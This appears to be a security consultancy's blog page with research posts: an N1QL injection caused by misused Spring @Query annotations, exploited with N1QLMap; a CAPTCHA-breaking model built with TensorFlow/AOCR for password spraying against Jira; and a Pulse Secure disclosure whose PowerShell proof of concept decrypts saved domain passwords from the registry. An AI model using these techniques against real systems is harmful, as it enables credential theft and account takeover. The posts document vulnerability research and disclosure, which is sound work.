Blog

Improper Spring @Query Usage Allows N1QL Injection

pavel — Thu, 30 Sep 2021 10:14:31 +0000

Improper Spring @Query Usage Allows N1QL Injection

Summary
TL;DR
Intro
Testbed
Experiments
- Exploitation
Conclusion

Summary

Spring applications quite often use @Query annotation. It helps to control requests executed by database servers, like customising what data to extract. It is usually assumed that @Query is safe as parameterised queries are used. (Un)fortunately, Spring supports quite complex syntax of @Query which leads to complexity and, inadvertently, errors.

In this short blog post we demonstrate an example of how to use @Query improperly to introduce SQL (in fact, NoSQL) injection vulnerability. We will use NoSQL database Couchbase which supports N1QL syntax. We also demonstrate how such injection can be exploited using N1QLMap tool.

TL;DR

It indeed may be too long to read. :) We have found a construct that is often used in Java code for N1QL queries, that appear to be safe at first glance, but actually leads to N1QL injection:

    @Query("#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = '#{[1]}'")

    List<Person> vulnFind(String field, String val);

Exploiting this using N1QLMap by FSecure allows extracting database meta information and any data from the Couchbase bucket. This post provides some background information, project example and exploitation example.

Intro

This happened during one of our regular assessments of a customer's REST services. We did not expect any high severity issues there. What could go wrong with Sping-based REST services? Well, of course a lot: access control issues, business logic discrepancies and so on. But the last thing we expected is a SQL injection finding reported by Burp's Automated Scanner.

The scanner was not able to determine database used by the backend, but, thanks to the observed error message, it was definitely Couchbase. Traditional SQLMap tool is not able to exploit such cases. Thus, the spotted SQL injection requires some specific tooling.

The affected REST service had some features complicating exploitation: no verbose error messages and hardcoded request timeout which eliminated time-based queries abuse. Because of that we decided to set up a testbed and use it to nail down the injection.

Testbed

Couchbase

Let's start with Couchbase as it is easy to do and is mostly unrelated to the rest of the discussion.

This project can be taken as a test environment: https://hub.docker.com/r/couchbase/analytics-demo/ Its index page describes what needs to be done. However, there are no specific requirements for Couchbase setup, so any other project/container can be used.

Once Couchbase instance is up and running, a bucket needs to be created there. The bucket name depends on the project described below. It is demo in our case.

Spring Project

We started with preparing a simple "Hello World" Spring project which provides REST interface to a Couchbase bucket. The idea was to understand what developer is allowed do and what can be done wrong.

The entry point from our perspective is some endpoint to fetch a specified data instance (or "document" in terms of NoSQL databases). Here is an excerpt of a controller which returns an entity by its identifier:

    @GetMapping("/{id}")

    public Person findOne(@PathVariable String id) {

        return personRepository.findById(id).orElseThrow(PersonNotFoundException::new);

    }

Person class is not of particular interest, it is just a simple container of fields, with getters and setters:

import org.springframework.data.annotation.Id;

import org.springframework.data.couchbase.core.mapping.Document;

@Document

public class Person {

    @Id

    private String id;

    private String firstName;

    private String lastName;

    public String getId() {

        return id;

    }

    public void setId(String id) {

        this.id = id;

    }

    public String getFirstName() {

        return firstName;

    }

    public void setFirstName(String firstName) {

        this.firstName = firstName;

    }

    public String getLastName() {

        return lastName;

    }

    public void setLastName(String lastName) {

        this.lastName = lastName;

    }

}

PersonRepository class however is something that needs a closer look. In its simplest form it does not have any methods at all:

import org.springframework.data.couchbase.repository.CouchbaseRepository;

import org.springframework.stereotype.Repository;

@Repository

public interface PersonRepository extends CouchbaseRepository<Person, String> {

}

findById() method is automagically handled by CouchbaseRepository. It will extract only one entity from Couchbase bucket which has identifier field (marked with @Id annotation) equal to the requested id.

Let's say we want to obtain persons which have the specific first name. We create a new controller's endpoint for that:

    @GetMapping("/fname/{firstName}")

    public List<Person> findByFList(@PathVariable String firstName) {

        return personRepository.findByFirstName(firstName);

    }

And the corresponding repository method:

@Repository

public interface PersonRepository extends CouchbaseRepository<Person, String> {

    List<Person> findByFirstName(String firstName);

}

Does not look vulnerable yet. However, this issue suggests different. Surprisingly, this report was declined. Interesting. Let's dive deeper and create an endpoint which gives us more control on what we request from the database:

    @PostMapping("/vuln")

    public List<Person> vuln(@RequestBody VulnData data) {

        return personRepository.vulnFind(data.getParam(), data.getValue());

    }

Here we use a simple model class which has just two parameters param and value. value defines what to request and param defines what field to use for the value. Here is the corresponding repository method which we can use for experiments with Sping @Query annotation:

    @Query("#{#n1ql.selectEntity} WHERE firstName = $2")

    List<Person> vulnFind(String field, String val);

Now let's proceed with our experiments.

Build

Well, to run experiments we need to build the project first. The project is on Github, n1ql-demo. Run mvn compile to compile the source code and mvn spring-boot:run to run the Spring application.

Experiments

In the following code snippet we use a @Query annotation to narrow down our interests in data extraction:

    @Query("#{#n1ql.selectEntity} WHERE firstName = $2")

    List<Person> vulnFind(String field, String val);

#{#n1ql.selectEntity} is a Spring Expression Language expression (#{}) which references N1QL addition to Spring "data" framework. .selectEntity statement extracts all fields of the corresponding bucket entity. What entity to select is specified by WHERE firstName = $1 statement. This is quite self-explanatory: we select only entities which have firstName field equal to some value. The value in this example is the second parameter of the annotated method -- val.

The provided example is a parameterised query. Spring, when handling such queries, mitigates context breaking by escaping quotes.

Alternatively, developer can opt for named parameters. In this case the syntax should be the following:

    @Query("#{#n1ql.selectEntity} USE KEYS $id")

    List<Person> vulnFind(String field, @Param("id") String id);

This is also a parameterised query. We do not expect to spot injections here. At least when using the most recent version of spring-data-couchbase artifact, 4.2.4, at the moment of this blog post.

All the examples above we collected from this introductory article. Among them there was a quite suspicious one which "mixes SpEL and N1QL placeholders":

@Query("#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = $2")

public List<User> findUsersByDynamicCriteria(String criteriaField, Object criteriaValue)

It appears that in addition to referencing parameters by $X we can use #{[X]} syntax. Let's try that!

    @Query("#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = #{[1]}")

    List<Person> vulnFind(String field, String val);

Here we expect that this query will compare document field specified in field parameter to value in val parameter. However, when we ask for a person with firstName equal to SomeFirstName it does not return anything (well, we assume that such document exists).

Ah, may be it inserts value as-is and string comparison does not work? Let's add quotes:

    @Query("#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = '#{[1]}'")

    List<Person> vulnFind(String field, String val);

It works! But wait, quotes... What if we insert one in our field value? Yep, it triggers database exception as query context was broken. Here is the request we observed in the Spring exception message:

"statement":"SELECT META(`demo1`).id AS __id, META(`demo1`).cas AS __cas,

 `demo1`.* FROM `demo1` WHERE `_class` =

 \"com.example.demo.persistence.model.Person\" AND firstName = 'LONGFIR'STNAME'"

This is an injection. N1QL injection to be precise. Now it is time to exploit it.

Exploitation

It is interesting to exploit the finding in automated way. We can not use SQLMap tool here as it is literally NoSQL injection.

Good people of F-Secure already wrote a tool for this purpose. They also provided a great introduction to NoSQL injection exploitation. You can find it here.

In order to use their tool, N1QLMap, we have to prepare a request file:

POST /api/persons/vuln HTTP/1.1

Host: 127.0.0.1:8081

User-Agent: curl/7.78.0

Accept: */*

Content-Type: application/json

{ "param":"firstName", "value": "*i*" }

We noted that the tool does not properly handle requests with body. This small change is required:

--- a/controllers/n1qlinjector.py

+++ b/controllers/n1qlinjector.py

@@ -85,8 +85,9 @@ class N1QLInjector:

         url = url.replace(self.injection_point, payload)

         request = Request(method, url.decode(self.encoding))

         prep_req = self.session.prepare_request(request)

-        if prep_req.body is not None:

-            prep_req.body = self.base_request.body.replace(self.injection_point, payload)

+        #if prep_req.body is not None:

+        #    prep_req.body = self.base_request.body.replace(self.injection_point, payload)

+        prep_req.body = self.base_request.body.replace(self.injection_point, payload)

         payload = payload.decode(self.encoding)

         replace_chars = self.injection_point.decode(self.encoding)

         for header_name in self.base_request.headers:

Running the tool with a proper set of parameters returns the expected outcome:

❯ ./n1qlMap.py --request ./req1.txt --keyword "firstName" --datastores http://127.0.0.1:8081/

[*] Datastores extraction process started

[*] Extracted data:

\{"datastores":{"id":"http://127.0.0.1:8091","url":"http://127.0.0.1:8091"}}]

Here we asked the tool to execute requests based on the content of req1.txt file. Put injection in place of *i* spot. Expect "firstName" string in responses of successful requests (this is essential for this tool to work). We also asked to extract Couchbase "datastores". http://127.0.0.1:8081/ is a listening socket of our Spring application.

The tool allows to extract more information, see its help page. It also allows to execute arbitrary N1QL queries. Their full reference is here.

To what extent this can be exploited is another topic. At least, arbitrary data from the same bucket should be available. This already should proof the validity of N1QL injection finding.

Conclusion

We may conclude that it is possible to write a vulnerable application even by using generally safe instruments. It is also a lesson that you can not just state: we use Spring, we use @Query annotation, so we are safe from SQL/NoSQL injections. This is not the case as this article demonstrates.

pavel Thu, 09/30/2021 - 12:14

qsslcaudit release v0.8.3

pavel — Mon, 12 Apr 2021 13:55:20 +0000

qsslcaudit release v0.8.3

A new version has been released of our tool which we use to assess TLS clients security: v0.8.3.

The corresponding packages for various Ubuntu versions are prepared in ppa:gremwell/qsslcaudit. Packaging for Kali is handled by Kali maintainers.

Each time you dive into the process of TLS handshake you figure out that there is much more deeper. This time several minor improvements have been implemented to address unexpected outcomes which we observed.

For instance: set SAN (subject alternative name) when crafting a custom certificate, set expiration time to 1 year instead of 10, use SHA256 digest to sign the certificate. Without these changes modern browsers (and WebViews) will not trust a certificate even if it is signed by the trusted authority.

As was mentioned in Github issue, there are clients which may not trust any of ciphers provided by our rogue TLS server. This case has to be handled separately.

We believe that there still many hidden "gems" in the TLS world from its practical perspective, thus, expect new releases.

pavel Mon, 04/12/2021 - 15:55

Breaking JCaptcha using Tensorflow and AOCR

quentin — Mon, 05 Oct 2020 13:08:07 +0000

Breaking JCaptcha using Tensorflow and AOCR

Introduction

In early 2020, we had a situation where we wanted to abuse a known username enumeration issue in Atlassian products. The vulnerability allows to enumerate valid username, but if an attacker wants to bruteforce the identified accounts, a CAPTCHA is displayed in the login page and prevents actual exploitation of the vulnerability.

We therefore looked for a way to automatically bypass this protection. We came upon this article published by F-Secure where they describe a methodology that uses machine learning algorithms to break CAPTCHAs. This seemed like the perfect tool for our purpose. This post will guide you through our process.

Technologies

F-Secure solution is based on AOCR and Tensorflow. They also provided some utility scripts written in Python to help during the classification and labeling phases.

We noticed that Alassian products use the JCaptcha library which was last updated in September 2012. This library produce relatively simple text CAPTCHAS by default, giving us the sense that they _could_ be broken.

Experiment

Initial Setup

Following F-Secure explanations in their Github article we installed Tensorflow on our test server. Note that AOCR works with Tensorflow version 1, and we wanted to used our GPUs, we therefore installed the package "tensorflow-gpu" and the dependencies (CUDA, CUPTI, cuDNN) following the official documentation. We had to try a few different tensorflow-gpu versions to avoid issues with our hardware, and ended-up using tensorflow-gpu v1.8.

Generating a test set

To produce a valid test set while avoiding the hassle of manually labeling CAPTCHAs, we wrote a piece of Java code that would generate CAPTCHA image files using JCaptcha libary. This piece of code would take advantage of Java introspection in order to name the file after the CAPTCHA value.

import java.awt.image.BufferedImage;

import java.io.File;

import java.io.FileNotFoundException;

import java.io.FileOutputStream;

import java.io.IOException;

import java.lang.reflect.Field;

import javax.imageio.ImageIO;

import com.octo.captcha.engine.image.gimpy.DefaultGimpyEngine;

import com.octo.captcha.image.ImageCaptchaFactory;

import com.octo.captcha.image.gimpy.Gimpy;

public class Main {

    public static void main(String[] args) throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException, FileNotFoundException, IOException {

        if (args.length != 2) {

            System.out.println("Usage: java -jar capatcha-generator.jar <number of captchas> <directory to write in>");

            System.exit(0);

        }

        // Factory stuff

        DefaultGimpyEngine bge = new DefaultGimpyEngine();

        ImageCaptchaFactory factory = bge.getImageCaptchaFactory();

        int num = Integer.parseInt(args[0]);

        String dir = args[1];

        if (! dir.endsWith("/")) 

            dir = dir + "/";

        System.out.println("Generating " + num + " captchas in " + dir + " directory");

        for(int i=0; i<num; i++) {

            Gimpy pixCaptcha = (Gimpy) factory.getImageCaptcha();

            // Introspection to get CAPTCHA response, which is a private field

            Field privateStringField;

            String fieldValue;

            privateStringField = Gimpy.class.getDeclaredField("response");    

            privateStringField.setAccessible(true);

            fieldValue = (String) privateStringField.get(pixCaptcha);

            // write to JPEG file using Java 8 APIs

            BufferedImage bi = pixCaptcha.getImageChallenge();

            // System.out.println("About to create  " + dir+fieldValue+".jpeg");

            File f = new File(dir+fieldValue+".jpeg");

            ImageIO.write(bi, "jpeg", new FileOutputStream(f));

        }

        System.exit(0);

    }

}

You can download the JAR file from this archive and use it to generate an arbitrary number of CAPTCHAs, that will be stored in the mentioned directory. In our case, we generated around 20 000 CAPTCHAs image:

java -jar captcha-generator.jar 20000 captchas

The generated images are small (200x70) JPEG files:

file captchas/taiders.jpeg 

test/taiders.jpeg: JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 200x70, components 3

Getting everything ready

We used a slightly modified version of F-Secure script, and generated the list file:

python label_generating_script.py captchas label_files

We split the file in two parts: one for the training phase (with 18000 CAPTCHAS), and one for the testing (with 2073 CAPTCHAs).

We then generated the tfrecords files using AOCR:

aocr dataset train_labels.txt training.tfrecords

aocr dataset test_labels.txt testing.tfrecords

Training the model

We then started training the model with AOCR, specifying our images width and height explicitly:

aocr train training.tfrecords --max-width=200 --max-height=70

Using tensorflow-gpu with our 6 NVidia GPUs, we quickly got small enough perplexity and loss values:

2020-04-02 15:42:14,039 root  INFO     Saving the model at step 5700.

2020-04-02 15:42:14,941 root  INFO     Step 5701: 0.138s, loss: 0.002095, perplexity: 1.002097.

2020-04-02 15:42:15,095 root  INFO     Step 5702: 0.144s, loss: 0.000374, perplexity: 1.000374.

2020-04-02 15:42:15,248 root  INFO     Step 5703: 0.146s, loss: 0.000511, perplexity: 1.000512.

2020-04-02 15:42:15,403 root  INFO     Step 5704: 0.148s, loss: 0.002965, perplexity: 1.002969.

2020-04-02 15:42:15,555 root  INFO     Step 5705: 0.145s, loss: 0.000307, perplexity: 1.000307.

2020-04-02 15:42:15,704 root  INFO     Step 5706: 0.142s, loss: 0.000300, perplexity: 1.000300.

2020-04-02 15:42:15,859 root  INFO     Step 5707: 0.145s, loss: 0.000259, perplexity: 1.000259.

2020-04-02 15:42:16,003 root  INFO     Step 5708: 0.136s, loss: 0.002224, perplexity: 1.002226.

Time to see the magic happen by testing the model !

Testing the model

We started the AOCR testing phase and immediately observed interesting results:

aocr test testing.tfrecords --max-width=200 --max-height=70

...TRIMMED...

2020-04-02 15:43:15,675 root  INFO     Step 2046 (0.016s). Accuracy: 99.11%, loss: 0.018858, perplexity: 1.01904, probability: 86.00% 100% (LINENER)

2020-04-02 15:43:15,694 root  INFO     Step 2047 (0.017s). Accuracy: 99.11%, loss: 0.000010, perplexity: 1.00001, probability: 99.99% 100% (BODMING)

2020-04-02 15:43:15,711 root  INFO     Step 2048 (0.017s). Accuracy: 99.11%, loss: 0.320211, perplexity: 1.37742, probability: 92.24%  86% (RAMATER vs NAMATER)

2020-04-02 15:43:15,728 root  INFO     Step 2049 (0.016s). Accuracy: 99.11%, loss: 0.000018, perplexity: 1.00002, probability: 99.98% 100% (CHEGING)

2020-04-02 15:43:15,746 root  INFO     Step 2050 (0.017s). Accuracy: 99.11%, loss: 0.000004, perplexity: 1.00000, probability: 100.00% 100% (CURTERS)

2020-04-02 15:43:15,764 root  INFO     Step 2051 (0.017s). Accuracy: 99.11%, loss: 0.000289, perplexity: 1.00029, probability: 99.77% 100% (OFFOTON)

2020-04-02 15:43:15,781 root  INFO     Step 2052 (0.016s). Accuracy: 99.11%, loss: 0.000023, perplexity: 1.00002, probability: 99.98% 100% (BRAEVER)

2020-04-02 15:43:15,798 root  INFO     Step 2053 (0.017s). Accuracy: 99.11%, loss: 0.000014, perplexity: 1.00001, probability: 99.99% 100% (KINVING)

2020-04-02 15:43:15,816 root  INFO     Step 2054 (0.017s). Accuracy: 99.11%, loss: 0.006647, perplexity: 1.00667, probability: 94.82% 100% (RULTING)

2020-04-02 15:43:15,840 root  INFO     Step 2055 (0.023s). Accuracy: 99.11%, loss: 0.003970, perplexity: 1.00398, probability: 96.87% 100% (BIRSTIC)

2020-04-02 15:43:15,858 root  INFO     Step 2056 (0.017s). Accuracy: 99.11%, loss: 0.000272, perplexity: 1.00027, probability: 99.78% 100% (LOVINER)

2020-04-02 15:43:15,877 root  INFO     Step 2057 (0.018s). Accuracy: 99.11%, loss: 0.000056, perplexity: 1.00006, probability: 99.95% 100% (ACRTING)

2020-04-02 15:43:15,894 root  INFO     Step 2058 (0.016s). Accuracy: 99.11%, loss: 0.000036, perplexity: 1.00004, probability: 99.97% 100% (OLDHTLY)

2020-04-02 15:43:15,912 root  INFO     Step 2059 (0.018s). Accuracy: 99.11%, loss: 0.000003, perplexity: 1.00000, probability: 100.00% 100% (WALTEST)

2020-04-02 15:43:15,929 root  INFO     Step 2060 (0.016s). Accuracy: 99.11%, loss: 0.000174, perplexity: 1.00017, probability: 99.86% 100% (NEENTER)

2020-04-02 15:43:15,946 root  INFO     Step 2061 (0.016s). Accuracy: 99.11%, loss: 0.000142, perplexity: 1.00014, probability: 99.89% 100% (SELKING)

2020-04-02 15:43:15,964 root  INFO     Step 2062 (0.017s). Accuracy: 99.11%, loss: 0.000082, perplexity: 1.00008, probability: 99.93% 100% (SOLHING)

2020-04-02 15:43:15,982 root  INFO     Step 2063 (0.017s). Accuracy: 99.11%, loss: 0.000151, perplexity: 1.00015, probability: 99.88% 100% (VALHINE)

2020-04-02 15:43:16,000 root  INFO     Step 2064 (0.018s). Accuracy: 99.11%, loss: 0.000003, perplexity: 1.00000, probability: 99.99% 100% (METGEST)

2020-04-02 15:43:16,018 root  INFO     Step 2065 (0.017s). Accuracy: 99.11%, loss: 0.000076, perplexity: 1.00008, probability: 99.94% 100% (KICELED)

2020-04-02 15:43:16,036 root  INFO     Step 2066 (0.018s). Accuracy: 99.11%, loss: 0.000014, perplexity: 1.00001, probability: 99.99% 100% (UNWORED)

2020-04-02 15:43:16,055 root  INFO     Step 2067 (0.018s). Accuracy: 99.12%, loss: 0.000011, perplexity: 1.00001, probability: 99.97% 100% (LISNGES)

2020-04-02 15:43:16,072 root  INFO     Step 2068 (0.016s). Accuracy: 99.12%, loss: 0.000005, perplexity: 1.00000, probability: 99.99% 100% (BOUGERS)

2020-04-02 15:43:16,090 root  INFO     Step 2069 (0.017s). Accuracy: 99.12%, loss: 0.000045, perplexity: 1.00005, probability: 99.96% 100% (HOUDINE)

2020-04-02 15:43:16,107 root  INFO     Step 2070 (0.016s). Accuracy: 99.12%, loss: 0.000005, perplexity: 1.00000, probability: 100.00% 100% (BRATERS)

2020-04-02 15:43:16,124 root  INFO     Step 2071 (0.016s). Accuracy: 99.11%, loss: 0.237502, perplexity: 1.26808, probability: 84.77%  86% (MORICLY vs MONICLY)

2020-04-02 15:43:16,142 root  INFO     Step 2072 (0.017s). Accuracy: 99.11%, loss: 0.000013, perplexity: 1.00001, probability: 99.99% 100% (DEAERED)

...TRIMMED...

The results were really good, most of the CAPTCHAs were correctly solved. Overall, using our training set of 2073 CAPTCHAs, 1970 of them were successfully recognized by our model, and 103 were incorrect, which result in approximately 95% of correct guesses.

Serving the model

The results of the previous phase were really good, but we now wanted to use them in real world to confirm the accuracy of the model. We first exported the model with AOCR:

aocr export captcha-breaking

...SKIPPED...

2020-04-14 13:14:39,385 root  INFO     Creating a SavedModel.

2020-04-14 13:14:39,862 root  INFO     Exported SavedModel into captcha-breaking-laptop

This will create a new directory named after your model, with the following content:

tree 

.

├── saved_model.pb

└── variables

    ├── variables.data-00000-of-00003

    ├── variables.data-00001-of-00003

    ├── variables.data-00002-of-00003

    └── variables.index

1 directory, 5 files

We then used Tensorflow Serving to deploy an HTTP API serving our model, and submit CAPTCHAs generated by our Jira instance. TensorFlow serving expects to point to a base directory which includes a version subdirectory. So, inside the directory created in last step, create a sub-directory named 1, and copy the saved_model.pb file and the variables directory, then start the serving server with the command:

tensorflow_model_server --port=9000 --rest_api_port=9001  --model_name="captcha-breaking-laptop" --model_base_path=/home/antoine/Gremwell/Bitbucket/captcha-breaker/captcha_cracking/labeled_captcha/

You can then base64-encode a CAPTCHA and send it to the server with a POST request like:

POST /v1/models/captcha-breaking-laptop:predict HTTP/1.1

Host: localhost:9001

cache-control: no-cache

content-type: application/json

Content-Length: 3483

{

  "signature_name": "serving_default",

  "inputs": {

        "input": { "b64": "< Base64 encoded CAPTCHA >" }

  }

}

The server will then answer with the estimated CAPTCHA value, along with its probability. The probability can be particularly useful in case of a real-world bruteforce attack, to avoid submitting a CAPTCHA if the model is not confident enough.

HTTP/1.1 200 OK

Content-Type: application/json

Date: Tue, 14 Apr 2020 12:17:09 GMT

Content-Length: 98

{

    "outputs": {

        "output": "GARRILY",

        "probability": 0.39653096788033193

    }

}

Attacking Jira instance

The last step of our experiment was to deploy everything and start password spraying the Jira instance to confirm it works as expected. We wrote a Python script to connect to our Jira instance and get a CAPTCHA, then base64-encode it and submit it to our deployed Tensorflow Server. Depending on the probability of a correct guess, we either submit the request with the CAPTCHA response, or just ask for another CAPTCHA to solve until we have a high enough probability.

Conclusion

We demonstrated that research published by F-Secure on CAPTCHA breaking is fully actionable, even against widespread CAPTCHA libraries such as JCaptcha. We hope that this article will provide some added value to would-be CAPTCHA breakers, especially when it comes to instrumenting the CAPTCHA libraries against themselves in order to not waste time labeling entries manually.

This post was written by Quentin Kaiser and Antoine Roly.

quentin Mon, 10/05/2020 - 15:08

Reversing Pulse Secure Client Credentials Store

quentin — Mon, 05 Oct 2020 12:50:49 +0000

Reversing Pulse Secure Client Credentials Store

In early 2019, I had to assess the latest version (9.1r3 at the time) of Pulse Secure Connect Client, an IPSEC/SSL VPN client developed by Juniper.

Given that the client allow end users to save their credentials, one of my tests included verifying how an attacker could recover them. The attacker perspective was simple: access to an employee's laptop (either physical access or remote access with low privileges). Note that the ability to recover credentials can have serious effects given that they are *almost always* domain credentials.

Credential Store Architecture

When a user selects the “Save Settings” option during authentication, their password is stored encrypted into the registry:

Windows Registry Editor Version 5.00

[HKEY_USERS\S-1-5-21-1757981266-1645522239-839522115-176938\Software\Pulse Secure\Pulse\User Data\ive:41ce2e38-289d-9b43-bbb1-d28a1dd6ec88]

"Password1"=hex:01,00,00,00,d0,8c,9d,df,01,15,d1,11,8c,7a,00,c0,4f,c2,97,eb,01,\

  00,00,00,34,22,f4,65,43,ed,5e,4a,80,01,a0,52,dc,f7,47,c0,00,00,00,00,02,00,\

  00,00,00,00,03,66,00,00,c0,00,00,00,10,00,00,00,39,04,e6,5e,41,9d,99,8b,ee,\

  fb,9a,7a,85,53,2b,7f,00,00,00,00,04,80,00,00,a0,00,00,00,10,00,00,00,bb,26,\

  da,ed,2f,7e,18,f6,4b,28,be,03,82,c5,9e,65,48,00,00,00,f0,78,73,26,e7,4b,9a,\

  4d,2a,b1,7f,a6,4e,4b,35,25,4a,c4,9e,04,c0,f8,eb,f7,04,50,d3,d8,78,b0,18,d9,\

  17,69,fb,5a,69,d6,c2,a1,35,d4,f6,66,25,15,f7,61,ee,a0,7e,8b,f5,5a,a7,a4,1a,\

  b4,2d,34,03,7d,06,d6,8a,4b,9e,18,d7,15,65,a2,14,00,00,00,6c,f7,84,15,7f,a4,\

  a8,e6,9a,5d,34,79,a7,16,97,0a,a6,10,17,07

The only reference to this format I could find is a request on 'John the Ripper' mailing-list asking if anyone looked into this before:

No one ever answered that email since 2014, so it's time to dig into the code !

Static Analysis

I used procmon to get stack traces prior to calls to *RegSetValueEXW* and discovered that *CryptProtectData* is called just before saving data in the registry.

I then disassembled the main binary (*./JamUI/Pulse.exe*) with Radare2 and discovered that the client indeed rely on **Windows Data Protection API** (DPAPI) to encrypt credentials.

I checked MSDN and noted that the first parameter to the function is a DATA_BLOB which holds the plaintext, the second is data description while the third is another DATA_BLOB holding an optional entropy parameter:

DPAPI_IMP BOOL CryptProtectData(

<span style="border: 1px solid yellow">  DATA_BLOB                 *pDataIn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>

  LPCWSTR                   szDataDescr,

<span style="border: 1px solid cyan">   DATA_BLOB                 *pOptionalEntropy,&nbsp;</span>

  PVOID                     pvReserved,

  CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,

  DWORD                     dwFlags,

  DATA_BLOB                 *pDataOut

  );

Dynamic Analysis

Now that I knew what to look for, I just had to attach to the running process with Windbg and set breakpoints on *CryptProtectData* and *CryptUnprotectData*:

<b>0:000:x86&gt;</b> bp Crypt32!CryptUnprotectData

<b>0:000:x86&gt;</b> bu Crypt32!CryptProtectData

<b>0:000:x86&gt;</b> g

I set the connection details, entered my credentials, checked the 'Save credentials' option and clicked 'Connect'.

Breakpoint 1 hit

*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\Common Files\Pulse Secure\JamUI\Pulse.exe

CRYPT32!CryptProtectData:

76b37063 68b0000000      push    0B0h

Looks like I was right, we just hit *CryptProtectData* ! If we dump the function parameters, we see *pDataIn* address in yellow and *pOptionalEntropy* address in cyan.

<b>0:000:x86&gt;</b> dd poi(esp+4)

0029ee84  00000022 <span style="background-color:yellow">028aef40</span> ffffffff <span style="background-color:cyan">028a2b88</span>

0029ee94  00ea471e 028c08d4 00000000 00000024

0029eea4  00000027 028c0778 02882a58 02897c98

0029eeb4  00000001 0029ef8c 0000004a 0000004f

0029eec4  d08665dd 0029f118 00f8ca38 00000002

0029eed4  00ea5c46 028a2c90 00000001 00000000

0029eee4  028c09b4 d086656d 0029f3d0 02897c98

0029eef4  74a18a94 00000000 02897c98 00000000

As expected, the first address points to my super secret password while the second points to the optional entropy value:

<b>0:000:x86&gt;</b> du <span style="background-color:yellow">028aef40</span>

028aef40  "REDACTED"

<b>0:000:x86&gt;</b> du <span style="background-color:cyan">028a2b88</span>

028a2b88  "IVE:41CE2E38289D9B43BBB1D28A1DD6"

028a2bc8  "EC88"

If *pOptionalEntropy* value looks familiar, it's normal. It is actually equal to the registry path's last part, in uppercase and without dash characters.

**Registry path**: HKEY_USERS\S-1-5-21-1757981266-1645522239-839522115-176938\Software\Pulse Secure\Pulse\User Data\ive:41ce2e38-289d-9b43-bbb1-d28a1dd6ec88
**pOptionalEntropy value**: IVE:41CE2E38289D9B43BBB1D28A1DD6EC88

The registry path is readable by the user so an attacker could simply get the encrypted data out the registry, provide the converted registry path's part as entropy value and obtain the domain password in plaintext.

*I wouldn't have done it without @seanderegge WinDbg-fu, so thanks Sean :)*

PoC||GTFO

I wrote this piece of Powershell so Pulse Secure could easily reproduce it:

Add-Type -AssemblyName System.Security;

$ives = Get-ItemProperty -Path 'Registry::HKEY_USERS\*\Software\Pulse Secure\Pulse\User Data\*'

foreach($ive in $ives) {

    $ivename = $ive.PSPath.split('\')[-1].ToUpper()

    Write-Host "[+] Checking IVE $($ivename)..."

    $seed = [System.Text.Encoding]::GetEncoding('UTF-16').getBytes($ivename)

    # 3 possible value names for password

    $encrypted = $ive.Password1

    if(!$encrypted){

        $encrypted = $ive.Password2

    }

    if(!$encrypted){

        $encrypted = $ive.Password3

    }

    $plaintext = [Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect($encrypted, $seed, 'CurrentUser'))

    Write-Host "[+] Password is $($plaintext)"

}

I also developed a post-exploitation module for Metasploit so if pentesters land on a laptop with an outdated version of Pulse Secure they can get plaintext domain credentials. No need to pass the hash anymore :)

How do we even fix this ?

I'm totally aware that any credentials saving feature will need access to plaintext *at some point*. The data protection API is not bulletproof once you execute code with your victim's privileges. This is known and accepted, even by browsers.

However, we're talking about access to the victim's domain credentials in plaintext without any kind of privilege escalation required. My initial recommendation to Pulse Secure was to save the encrypted password to a file. They were already using a file only readable/writable by SYSTEM to save the cached username, so why not the encrypted password too ?

From my point of view this would align with Windows way of working. You would need to elevate to SYSTEM in order to be able to dump the plaintext password from Pulse Secure. At this point you would already be able to dump local hashes and executes pass-the-hash attacks, so Pulse Secure client would not bring more risk by being installed.

The fix - Pulse Secure Connect 9.1r4

On February 10th of 2020, Pulse Secure PSIRT provided me with a new release (9.1r4) confirming they fixed the issue. I installed it and then reverse engineered it to validate their claim.

User data is still saved in the registry:

Windows Registry Editor Version 5.00

[HKEY_USERS\S-1-5-21-2592061101-2384323966-494121415-1000\Software\Pulse Secure\Pulse\User Data]

[HKEY_USERS\S-1-5-21-2592061101-2384323966-494121415-1000\Software\Pulse Secure\Pulse\User Data\ive:a165fb2afc26784dbd1403a2fd1573f7]

"Password1"=hex:7b,00,63,00,61,00,70,00,69,00,7d,00,20,00,31,00,2c,00,30,00,31,\

  00,30,00,30,00,30,00,30,00,30,00,30,00,64,00,30,00,38,00,63,00,39,00,64,00,\

  64,00,66,00,30,00,31,00,31,00,35,00,64,00,31,00,31,00,31,00,38,00,63,00,37,\

  00,61,00,30,00,30,00,63,00,30,00,34,00,66,00,63,00,32,00,39,00,37,00,65,00,\

  62,00,30,00,31,00,30,00,30,00,30,00,30,00,30,00,30,00,35,00,38,00,35,00,35,\

--snip--

However, the format changed a little. If we decode the 'Password1' registry value as ASCII hexadecimal, we get this:

{capi}

1,01000000d08c9ddf0115d1118c7a00c04fc297eb010000005855f90b0dd16b4791ac8f18b8132b2c000000000800000046005300570000001066000000010000200000002bb709607477b4ecbda0a5c069cc7556fc6047fd6ebcbbda683f315adc6214e2000000000e8000000002000020000000e969de12c7053409498fcf3fe67475ab13769d550cc0caea170295e40e524bff20000000fe0ff71306260a18547e6956696f3040c42136b74735bf1a897a4e402dbd5a1140000000e53838f473ce6631ebecd41ddda8fd28f5a3bc506ea555a73e5ff6b321bd6fb44eb47fb117b5b6104529a4123686cf9d5599e88a9dd4949227541e3a216ed42b

The long value after the colon is likely a DPAPI encrypted value given the value 01000000d08c9ddf0115d1118c7a0 at the start.

I tried to decrypt the value using the IVE value as entropy parameter, no luck. I tried without an entropy parameter, no luck either.

By looking around I found that they moved the DPAPI calls for user data to the Pulse Secure service running in the background. User data management is performed by a DLL (*C:\Program Files (x86)\Common\Pulse Secure\Connection Manager\ConnectionManagerService.dll*) loaded by Pulse Secure service.

